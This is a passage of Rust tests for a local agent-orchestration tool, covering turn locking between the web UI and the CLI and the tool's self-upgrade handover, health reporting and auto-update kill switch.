19688 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19689 (
19690 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19691 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19692 )
19693 }
19694
19695 #[tokio::test]
19696 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19697 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19698 let q = consult_question(&ui);
19699 let talk = ui.talks.get(&id).expect("talk");
19700 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19701 let before = consult_snapshot(&ui, &q, &id);
19702 let cli_talks = Talks::at(ui.home.join("talks"));
19703 assert_eq!(
19704 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19705 .await
19706 .expect("CLI starter"),
19707 crate::consult::Started::Busy
19708 );
19709 assert_eq!(consult_snapshot(&ui, &q, &id), before);
19710 assert!(ui.is_thinking(&id));
19711 drop(guard);
19712 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19713 }
19714
19715 #[tokio::test]
19716 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19717 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19718 let q = consult_question(&ui);
19719 let talk = ui.talks.get(&id).expect("talk");
19720 let started = tmp.path().join("started");
19721 let release = tmp.path().join("release");
19722 let script = tmp.path().join("consult-agent.sh");
19723 std::fs::write(
19724 &script,
19725 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
19726 )
19727 .expect("script");
19728 let mut cfg = stub_config();
19729 cfg.agents[0].id = "mock".to_owned();
19730 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19731 cfg.agents[0].env = std::collections::BTreeMap::from([
19732 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19733 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19734 ]);
19735 let questions = ui.questions.clone();
19736 let cli_talks = Talks::at(ui.home.join("talks"));
19737 let cli_q = q.clone();
19738 let turn = tokio::spawn(async move {
19739 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19740 });
19741 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19742 while !started.exists() {
19743 tokio::time::sleep(Duration::from_millis(10)).await;
19744 }
19745 })
19746 .await;
19747 let refusal = if ready.is_ok() {
19750 let before = consult_snapshot(&ui, &q, &id);
19751 let result = talk_say(
19752 State(Arc::clone(&ui)),
19753 Path(id.clone()),
19754 Ok(Json(NewTalkTurn {
19755 reply_to: None,
19756 text: "another message".to_owned(),
19757 attachments: Vec::new(),
19758 })),
19759 )
19760 .await;
19761 Some((result, before, consult_snapshot(&ui, &q, &id)))
19762 } else {
19763 None
19764 };
19765 std::fs::write(&release, "").expect("release agent");
19766 let done = turn.await.expect("join CLI turn");
19767 ready.expect("agent started before deadline");
19768 let (result, before, after) = refusal.expect("web request");
19769 let error = result.expect_err("web must refuse the CLI's turn");
19770 assert_eq!(error.status, StatusCode::CONFLICT);
19771 assert!(error.message.contains("a turn is already running"));
19772 assert_eq!(
19773 after, before,
19774 "refusal preserves question, draft and history"
19775 );
19776 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19777 let guard = ui
19778 .begin_talk_turn(&id)
19779 .expect("web claim")
19780 .expect("free again");
19781 drop(guard);
19782 }
19783
19784 #[test]
19785 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19786 let home = TempDir::new().expect("temp home");
19787 let talks = Talks::at(home.path().join("talks"));
19788 let ui = Ui::new(
19789 Queue::at(home.path().join("queue")),
19790 Questions::at(home.path().join("questions")),
19791 talks.clone(),
19792 home.path().join("runs"),
19793 home.path().to_path_buf(),
19794 PathBuf::from("/repo"),
19795 )
19796 .with_worktrees_root(home.path().join("wt"));
19797 let id = "20260901-000000-order";
19798 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19799 let slots = ui.talk_turns.lock().unwrap();
19801 let dropper = std::thread::spawn(move || drop(turn));
19802 let start = std::time::Instant::now();
19803 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19804 std::thread::sleep(Duration::from_millis(5));
19805 }
19806 assert!(!talks.turn_held(id), "the lease is released first");
19807 assert!(slots.live.contains(id), "the slot is still held meanwhile");
19808 drop(slots);
19809 dropper.join().expect("join");
19810 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19811 }
19812
19813 #[tokio::test]
19814 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19815 let fx = Fixture::start().await;
19816 let mut beat = crate::daemon::Status::new();
19820 beat.pid = 4321;
19821 beat.updated_at = jiff::Timestamp::now();
19822 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19823 .expect("publish a heartbeat");
19824
19825 let res = fx.post("/api/upgrade", None).await;
19826 assert_eq!(res.status, 409);
19827 let err = res.json()["error"].as_str().unwrap().to_owned();
19828 assert!(err.contains("4321"), "the refusal names the owner: {err}");
19829 assert!(err.contains("old one against the same queue"), "{err}");
19830 }
19831
19832 #[test]
19839 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19840 assert!(!should_spawn_recheck(&crate::config::Update {
19841 mode: UpdateMode::Off,
19842 interval: None,
19843 }));
19844
19845 unsafe {
19848 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19849 }
19850 let killed = should_spawn_recheck(&crate::config::Update {
19851 mode: UpdateMode::Notify,
19852 interval: None,
19853 });
19854 unsafe {
19855 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19856 }
19857 assert!(
19858 !killed,
19859 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19860 one-time startup check"
19861 );
19862
19863 assert!(should_spawn_recheck(&crate::config::Update {
19864 mode: UpdateMode::Notify,
19865 interval: None,
19866 }));
19867 }
19868
19869 #[test]
19875 fn recheck_poll_period_tracks_a_short_configured_interval() {
19876 let short = crate::config::Update {
19877 mode: UpdateMode::Notify,
19878 interval: Some("1m".to_owned()),
19879 };
19880 let period = recheck_poll_period(&short);
19881 assert!(
19882 period <= Duration::from_secs(30),
19883 "a one-minute interval must wake the task far sooner than the \
19884 default ceiling, or the deck would not notice within the \
19885 interval the operator configured: got {period:?}"
19886 );
19887
19888 let default = crate::config::Update {
19889 mode: UpdateMode::Notify,
19890 interval: None,
19891 };
19892 assert_eq!(
19893 recheck_poll_period(&default),
19894 UPDATE_RECHECK_POLL_MAX,
19895 "the default day-long interval should poll at the (capped) \
19896 ceiling rather than needlessly often"
19897 );
19898 }
19899
19900 #[test]
19908 fn recheck_skips_the_network_before_the_interval_elapses() {
19909 let dir = TempDir::new().expect("temp dir");
19910 let path = dir.path().join("state.json");
19911 let state = kaishin::UpdateCheckState {
19912 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19913 last_known_latest: None,
19914 last_known_url: None,
19915 };
19916 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19917
19918 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19919 assert!(
19920 !update_recheck_due(&checker, None),
19921 "a check made moments ago must not be repeated before the \
19922 configured interval elapses"
19923 );
19924 }
19925
19926 #[test]
19932 fn recheck_defers_to_an_upgrade_already_in_flight() {
19933 let dir = TempDir::new().expect("temp dir");
19934 let path = dir.path().join("state.json");
19935 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19936 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19937
19938 assert!(
19939 !update_recheck_due(&checker, Some(&progress)),
19940 "a recheck must not run while an upgrade this deck started is \
19941 still moving"
19942 );
19943 }
19944
19945 #[tokio::test]
19946 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19947 unsafe {
19959 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19960 }
19961 let fx = Fixture::start().await;
19962 let res = fx.post("/api/upgrade", None).await;
19963 unsafe {
19964 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19965 }
19966 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19967 let body = res.json();
19968 assert!(body["to"].is_null(), "there was no release to move to");
19969 assert!(body["parked"].is_null(), "and nothing was parked");
19970 assert!(
19971 body["detail"]
19972 .as_str()
19973 .unwrap()
19974 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19975 "{body:?}"
19976 );
19977 }
19978
19979 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19980 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19981 p.stage = stage;
19982 p
19983 }
19984
19985 #[test]
19986 fn busy_stages_match_the_ui_set() {
19987 use crate::updater::Stage;
19988 assert!(APP_JS.contains(
19989 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19990 ));
19991 for s in [
19992 Stage::Downloading,
19993 Stage::Replaced,
19994 Stage::Parking,
19995 Stage::Restarting,
19996 ] {
19997 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19998 }
19999 for s in [Stage::Done, Stage::Failed] {
20000 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20001 }
20002 assert!(upgrade_in_motion(None).is_none());
20003 }
20004
20005 #[tokio::test]
20006 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20007 use crate::updater::Stage;
20008 for stage in [
20009 Stage::Downloading,
20010 Stage::Replaced,
20011 Stage::Parking,
20012 Stage::Restarting,
20013 ] {
20014 let fx = Fixture::start().await;
20015 let seeded = seeded_progress(stage);
20016 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20017 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20018 .expect("read");
20019
20020 let res = fx.post("/api/upgrade", None).await;
20021 assert_eq!(res.status, 409, "{stage:?}");
20022 let err = res.json()["error"].as_str().unwrap().to_owned();
20023 assert!(err.contains("already in progress"), "{err}");
20024 assert!(err.contains(stage.as_str()), "{err}");
20025
20026 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20027 .expect("read");
20028 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20029 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20030 .unwrap_or_default();
20031 assert!(!log.contains("signalling HANDOVER"), "{log}");
20032 }
20033 }
20034
20035 #[tokio::test]
20036 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20037 use crate::updater::Stage;
20038 let repo = TempDir::new().expect("repo dir");
20039 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20040 .expect("write magi.toml");
20041 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20042 for stage in [Stage::Done, Stage::Failed] {
20043 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20044 let res = fx.post("/api/upgrade", None).await;
20045 assert_eq!(res.status, 200, "{stage:?}");
20046 }
20047 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20049 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20050 }
20051
20052 #[tokio::test]
20053 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20054 let repo = TempDir::new().expect("repo dir");
20070 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20071 .expect("write magi.toml");
20072 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20073
20074 let res = fx.post("/api/upgrade", None).await;
20080 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20081 let body = res.json();
20082 assert!(body["to"].is_null(), "there was no release to move to");
20083 assert!(body["parked"].is_null(), "and nothing was parked");
20084 assert!(
20085 body["detail"]
20086 .as_str()
20087 .unwrap()
20088 .contains("nothing restarted"),
20089 "{body:?}"
20090 );
20091 }
20092
20093 #[tokio::test]
20094 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20095 let repo = TempDir::new().expect("repo dir");
20100 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20101 .expect("write magi.toml");
20102 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20103
20104 let health = fx.get("/api/health").await.json();
20105 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20106 assert_eq!(
20107 health["update"]["available"], false,
20108 "checking is off, which reads as \"unknown\", not \"none\""
20109 );
20110 assert!(health["update"]["to"].is_null());
20111 assert!(
20112 health["upgrade"].is_null(),
20113 "nothing has ever asked this deck to upgrade"
20114 );
20115 }
20116
20117 #[tokio::test]
20118 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20119 let fx = Fixture::start().await;
20120 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20121
20122 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20123 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20124 progress.advance(crate::updater::Stage::Parking);
20125 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20126
20127 let health = fx.get("/api/health").await.json();
20128 assert_eq!(health["upgrade"]["stage"], "parking");
20129 assert_eq!(health["upgrade"]["from"], "0.5.1");
20130 assert_eq!(health["upgrade"]["to"], "0.5.2");
20131 let waiting_on = health["upgrade"]["waiting_on"]
20132 .as_str()
20133 .expect("waiting_on is set while parking a known run");
20134 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20135 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20136 }
20137
20138 #[tokio::test]
20139 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20140 let fx = Fixture::start().await;
20141 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20142 progress.advance(crate::updater::Stage::Done);
20143 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20144
20145 let health = fx.get("/api/health").await.json();
20146 assert_eq!(health["upgrade"]["stage"], "done");
20147 assert!(
20148 health["upgrade"]["waiting_on"].is_null(),
20149 "nothing to wait on once it is done"
20150 );
20151 }
20152
20153 #[tokio::test]
20154 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20155 let home = TempDir::new().expect("temp home");
20156 let runs = home.path().join("runs");
20157 std::fs::create_dir_all(&runs).expect("runs dir");
20158 let ui = Ui::new(
20159 Queue::at(home.path().join("queue")),
20160 Questions::at(home.path().join("questions")),
20161 Talks::at(home.path().join("talks")),
20162 runs,
20163 home.path().to_path_buf(),
20164 PathBuf::from("/repo/magi"),
20165 )
20166 .with_launch(launch_idle);
20167 let looping = ui.looping();
20168 let turns = ui.turns();
20169 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20170 .await
20171 .expect("bind loopback");
20172 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20173
20174 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20175 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20176
20177 hand_over(
20178 home.path(),
20179 &looping,
20180 &turns,
20181 &|_: &[String]| Duration::from_secs(5),
20182 served,
20183 |_| Ok(1),
20184 )
20185 .await
20186 .expect("hand over");
20187
20188 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20189 assert_eq!(
20190 after.stage,
20191 crate::updater::Stage::Restarting,
20192 "hand_over owns the record through parking and up to restarting; \
20193 the successor is what finishes it"
20194 );
20195 }
20196
20197 #[tokio::test]
20200 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20201 for fail in [false, true] {
20202 let home = TempDir::new().expect("temp home");
20203 let ui = idle_ui(&home);
20204 let looping = ui.looping();
20205 let turns = ui.turns();
20206 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20207 .await
20208 .expect("bind loopback");
20209 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20210 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20211 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20212
20213 let calls = std::sync::atomic::AtomicUsize::new(0);
20214 let outcome = hand_over(
20215 home.path(),
20216 &looping,
20217 &turns,
20218 &|_: &[String]| Duration::from_secs(5),
20219 served,
20220 |_| {
20221 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20222 if fail {
20223 anyhow::bail!("no exec")
20224 } else {
20225 Ok(4242)
20226 }
20227 },
20228 )
20229 .await;
20230 assert_eq!(outcome.is_err(), fail);
20231 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20232
20233 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20234 .expect("upgrade.log is written under the home");
20235 for step in [
20236 "entered",
20237 "finish_loop",
20238 "listener released",
20239 "starting the successor",
20240 ] {
20241 assert!(log.contains(step), "missing `{step}` in:\n{log}");
20242 }
20243 assert!(
20244 log.contains(if fail { "did not start" } else { "pid 4242" }),
20245 "{log}"
20246 );
20247 }
20248 }
20249
20250 #[tokio::test]
20253 async fn the_handover_signal_wakes_one_waiter_once() {
20254 let signal = Notify::new();
20255 signal.notify_one();
20257 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20258 .await
20259 .expect("an early signal is still seen");
20260 assert!(
20262 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20263 .await
20264 .is_err(),
20265 "a consumed signal must not wake a second time"
20266 );
20267 let signal = std::sync::Arc::new(signal);
20269 let waiter = tokio::spawn({
20270 let signal = std::sync::Arc::clone(&signal);
20271 async move { wait_for_handover(&signal).await }
20272 });
20273 tokio::time::sleep(Duration::from_millis(20)).await;
20274 assert!(!waiter.is_finished(), "nothing was signalled yet");
20275 signal.notify_one();
20276 tokio::time::timeout(Duration::from_secs(5), waiter)
20277 .await
20278 .expect("a late signal wakes the waiter")
20279 .expect("join");
20280 }
20281
20282 #[tokio::test]
20283 async fn health_says_how_long_a_handover_has_been_stuck() {
20284 let fx = Fixture::start().await;
20285 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20286 progress.advance(crate::updater::Stage::Replaced);
20287 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20288 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20289
20290 let health = fx.get("/api/health").await.json();
20291 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20292 assert!(stuck >= 600, "{stuck}");
20293 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20294 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20295 }
20296
20297 #[tokio::test]
20298 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20299 let home = tempfile::tempdir().expect("temp home");
20300 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20301 progress.advance(crate::updater::Stage::Parking);
20302 crate::updater::write_progress(home.path(), &progress).expect("seed");
20303 let mut again = progress.clone();
20305 again.advance(crate::updater::Stage::Replaced);
20306 crate::updater::write_progress(home.path(), &again).expect("replaced");
20307 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20308 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20309 let after = crate::updater::read_progress(home.path()).expect("record");
20310 assert_eq!(after.stage, crate::updater::Stage::Parking);
20311 }
20312
20313 #[tokio::test]
20314 async fn health_does_not_call_a_live_parking_wait_stuck() {
20315 let fx = Fixture::start().await;
20316 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20317 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20318 progress.advance(crate::updater::Stage::Parking);
20319 let hours = Duration::from_secs(3 * 3600);
20320 progress.started_at = Timestamp::now() - hours;
20321 progress.updated_at = Timestamp::now() - hours;
20322 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20323 let _lease = crate::updater::LeaseGuard::enter(
20324 fx.home.path(),
20325 Some("20260905-000000-cd51".to_owned()),
20326 );
20327
20328 let health = fx.get("/api/health").await.json();
20329 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20330 assert!(health["upgrade"]["stuck_kind"].is_null());
20331 assert_eq!(health["upgrade"]["handover_alive"], true);
20332 let waiting_on = health["upgrade"]["waiting_on"]
20333 .as_str()
20334 .expect("waiting_on");
20335 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20336 }
20337
20338 fn idle_ui(home: &TempDir) -> Ui {
20339 let runs = home.path().join("runs");
20340 std::fs::create_dir_all(&runs).expect("runs dir");
20341 Ui::new(
20342 Queue::at(home.path().join("queue")),
20343 Questions::at(home.path().join("questions")),
20344 Talks::at(home.path().join("talks")),
20345 runs,
20346 home.path().to_path_buf(),
20347 PathBuf::from("/repo/magi"),
20348 )
20349 .with_launch(launch_idle)
20350 }
20351
20352 async fn park_fixture(
20353 home: &TempDir,
20354 ) -> (
20355 Ui,
20356 Arc<Mutex<LoopState>>,
20357 Arc<Mutex<TalkTurns>>,
20358 tokio::task::JoinHandle<std::io::Result<()>>,
20359 ) {
20360 let ui = idle_ui(home);
20361 let looping = ui.looping();
20362 let turns = ui.turns();
20363 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20364 .await
20365 .expect("bind loopback");
20366 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20367 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20368 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20369 (ui, looping, turns, served)
20370 }
20371
20372 #[tokio::test]
20376 async fn hand_over_waits_for_a_running_chat_turn() {
20377 let home = TempDir::new().expect("temp home");
20378 let (ui, looping, turns, served) = park_fixture(&home).await;
20379 let ui = Arc::new(ui);
20380 let id = "20260901-000000-chat";
20381 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20382
20383 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20384 let handover = tokio::spawn({
20385 let home = home.path().to_path_buf();
20386 let turns = Arc::clone(&turns);
20387 let calls = Arc::clone(&calls);
20388 async move {
20389 hand_over(
20390 &home,
20391 &looping,
20392 &turns,
20393 &|_: &[String]| Duration::from_secs(60),
20394 served,
20395 move |_| {
20396 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20397 Ok(1)
20398 },
20399 )
20400 .await
20401 }
20402 });
20403
20404 let waiting = async {
20405 for _ in 0..200 {
20406 if crate::updater::read_progress(home.path())
20407 .is_some_and(|p| p.parked_talks == [id.to_owned()])
20408 {
20409 return;
20410 }
20411 tokio::time::sleep(Duration::from_millis(25)).await;
20412 }
20413 panic!("the park never named the chat turn");
20414 };
20415 waiting.await;
20416 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20417
20418 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20421 assert!(
20422 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20423 "a direct start says an upgrade is in progress"
20424 );
20425 assert!(
20426 ui.begin_queued_talk_turn("20260901-000000-late")
20427 .expect("queued claim")
20428 .is_none()
20429 );
20430 assert!(matches!(
20431 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20432 .expect("start"),
20433 TalkTurnStart::Busy
20434 ));
20435 assert_eq!(turns.lock().unwrap().live.len(), 1);
20436
20437 let progress = crate::updater::read_progress(home.path()).expect("progress");
20439 let view = upgrade_progress_view(&ui, progress);
20440 assert!(
20441 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20442 "{:?}",
20443 view.waiting_on
20444 );
20445
20446 assert!(!handover.is_finished());
20447 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20448 drop(turn);
20449 handover.await.expect("join").expect("hand over");
20450 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20451 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20452 }
20453
20454 #[tokio::test]
20457 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20458 let home = TempDir::new().expect("temp home");
20459 let (ui, looping, turns, served) = park_fixture(&home).await;
20460 let ui = Arc::new(ui);
20461 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20463 lock_or_recover(&looping).live = Some(Live {
20464 stop: daemon::Stop::new(),
20465 handle: tokio::spawn(async move {
20466 let _ = loop_ended.await;
20467 }),
20468 opts: daemon::Opts::default(),
20469 });
20470
20471 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20472 let handover = tokio::spawn({
20473 let home = home.path().to_path_buf();
20474 let turns = Arc::clone(&turns);
20475 let calls = Arc::clone(&calls);
20476 async move {
20477 hand_over(
20478 &home,
20479 &looping,
20480 &turns,
20481 &|_: &[String]| Duration::from_secs(60),
20482 served,
20483 move |_| {
20484 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20485 Ok(1)
20486 },
20487 )
20488 .await
20489 }
20490 });
20491
20492 let reached = async {
20493 for _ in 0..200 {
20494 if crate::updater::read_progress(home.path())
20495 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20496 {
20497 return;
20498 }
20499 tokio::time::sleep(Duration::from_millis(25)).await;
20500 }
20501 panic!("the hand-over never reached parking");
20502 };
20503 reached.await;
20504
20505 assert!(!turns.lock().unwrap().parking);
20507 let turn = ui
20508 .begin_talk_turn("20260901-000000-chat")
20509 .expect("claim")
20510 .expect("a turn can start while the loop parks");
20511
20512 end_loop.send(()).expect("loop still waiting");
20514 for _ in 0..200 {
20515 if turns.lock().unwrap().parking {
20516 break;
20517 }
20518 tokio::time::sleep(Duration::from_millis(25)).await;
20519 }
20520 assert!(
20521 turns.lock().unwrap().parking,
20522 "closed once the loop is done"
20523 );
20524 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20525 assert!(
20526 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20527 "no turn starts once the loop is done"
20528 );
20529 assert!(
20530 ui.begin_queued_talk_turn("20260901-000000-late")
20531 .expect("queued claim")
20532 .is_none()
20533 );
20534 assert!(!handover.is_finished());
20535 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20536
20537 drop(turn);
20538 handover.await.expect("join").expect("hand over");
20539 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20540 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20541 }
20542
20543 #[tokio::test]
20546 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20547 let home = TempDir::new().expect("temp home");
20548 let (ui, looping, turns, served) = park_fixture(&home).await;
20549 let id = "20260901-000000-stuk";
20550 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20551
20552 let calls = std::sync::atomic::AtomicUsize::new(0);
20553 hand_over(
20554 home.path(),
20555 &looping,
20556 &turns,
20557 &|_: &[String]| Duration::from_millis(300),
20558 served,
20559 |_| {
20560 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20561 Ok(1)
20562 },
20563 )
20564 .await
20565 .expect("hand over");
20566 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20567
20568 let progress = crate::updater::read_progress(home.path()).expect("progress");
20569 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20570 assert!(
20571 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20572 "{:?}",
20573 progress.detail
20574 );
20575 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20576 assert!(
20577 log.contains("handing over anyway") && log.contains(id),
20578 "{log}"
20579 );
20580 }
20581
20582 #[tokio::test]
20585 async fn drain_loop_starts_no_turn_while_parking() {
20586 let tmp = TempDir::new().expect("tempdir");
20587 let repo = tmp.path().join("repo");
20588 std::fs::create_dir_all(&repo).expect("repo dir");
20589 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20590 let home = TempDir::new().expect("temp home");
20591 let talks = Talks::at(home.path().join("talks"));
20592 let ui = Ui::new(
20593 Queue::at(home.path().join("queue")),
20594 Questions::at(home.path().join("questions")),
20595 talks.clone(),
20596 home.path().join("runs"),
20597 home.path().to_path_buf(),
20598 repo.clone(),
20599 )
20600 .with_worktrees_root(home.path().join("wt"));
20601 let cfg = config_for(&repo).await.expect("discover config");
20602 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20603 let id = talk.id.clone();
20604 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20605 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20606 let turns = ui.turns();
20607 let parking = ParkingTurns::begin(&turns);
20608
20609 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20610
20611 assert!(
20612 turns.lock().unwrap().live.is_empty(),
20613 "the slot is given up"
20614 );
20615 let fresh = talks.get(&id).expect("talk");
20616 assert_eq!(fresh.pending, "later", "the draft is still queued");
20617 assert!(fresh.turns.is_empty(), "no turn ran");
20618 drop(parking);
20619 }
20620
20621 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20623 let looping = ui.looping();
20624 let turns = ui.turns();
20625 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20626 .await
20627 .expect("bind loopback");
20628 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20629 let told = std::sync::Mutex::new(None);
20630 hand_over(
20631 home.path(),
20632 &looping,
20633 &turns,
20634 &|_: &[String]| Duration::from_secs(5),
20635 served,
20636 |resume| {
20637 *told.lock().unwrap() = Some(resume);
